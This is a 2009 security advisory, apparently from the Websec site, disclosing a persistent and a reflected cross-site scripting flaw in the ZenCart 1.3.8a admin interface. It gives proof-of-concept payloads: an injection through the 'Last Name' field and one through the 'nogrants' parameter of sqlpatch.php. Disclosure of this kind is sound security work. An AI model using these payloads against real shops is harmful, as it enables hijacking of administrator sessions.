ZenCart 1.3.8a Multiple XSS in Admin Interface

ZenCart 1.3.8a Multiple XSS in Admin Interface

Posted on Nov 16 2009   |  Plain text version

Summary

ZenCart 1.3.8a has a persistent XSS in 'Admin Home' in 'Last Name' parameter. Another Cross Site Scripting vulnerability exists in 'nogrants' parameter in sqlpatch.php.

Description

    ====================================================
    ZENCART 1.3.8a MULTIPLE CROSS-SITE SCRIPTING (XSS)
  ====================================================


Application:   ZenCart
Version:       1.3.8a
Critical:      Low
Impact:        Perform Cross Scripting Attacks
               Persistent XSS
Websec Advisory:   ws10-05



    BACKGROUND
=======================

Zen Cart™ truly is the art of e-commerce; a free, user-friendly, open source shopping cart system. The software is being developed by group of like-minded shop owners, programmers, designers, and consultants that think e-commerce could be and should be done differently.


    DESCRIPTION
=======================

[0] ZenCart version 1.3.8a is susceptible to a persistent Cross-Site Scripting attack (XSS) in the 'Admin Home' page. The 'Last Name' parameter is not sanitized when registering a user, therefore allowing execution of remote code on the administrator's browser.

[1] The page sqlpatch.php is susceptible to a Cross-Site Scripting attack (XSS) in the 'nogrants' parameter.


    EXPLOITS / POC
=======================

[0] http://<SERVER>zencart/index.php?main_page=login

Last Name: "onmouseover=alert(0)>XSS<!

[1] http://<SERVER>/zencart/admin/sqlpatch.php?nogrants="style="display:block;width:100%;height:100%; border: 2px solid red;" onmouseover="alert(1);


    WORKAROUND
=======================

Don't browse untrusted websites while logged into your ZenCart administrator's interface.

 
    DISCLOSURE TIMELINE
=======================

2009/11/12 - Vulnerability discovered


    REFERENCES
=======================

Websec - http://www.websec.ca/
ZenCart - http://www.zen-cart.com

POC


Latest Blog Entries

Downloading an Application's Entire Source Code Through an Exposed GIT Directory
Website administrators sometimes inadvertently leave an exposed .git directory, from which it is possible to download the entire source code of the web application using just wget and a common server misconfiguration.

credmap: The Credential Mapper
An overview of credmap, an open source penetration testing tool that automates the process of testing for credential reuse. It does so by testing supplied user credentials on known websites and verifies if the password has been reused on any of these.

New publication: Mastering the Nmap Scripting Engine
We invite you to learn more about the latest publication from our team, "Mastering the Nmap Scripting Engine".

Latest News

Blackhat EU 2015
Websec participated with two tools at the Blackhat, EU Arsenal held in Amsterdam, NL from the 10-13 of November, 2015. During this event, we introduced our brand new tool "credmap: The Credential Mapper" and also presented an amped-up version of Panoptic.

BSides Vancouver 2015
Websec is proud to announce that we will be attending the 3rd annual edition of BSides Vancouver, a local non-profit information security conference held in the heart of Vancouver, BC on March 16 and 17.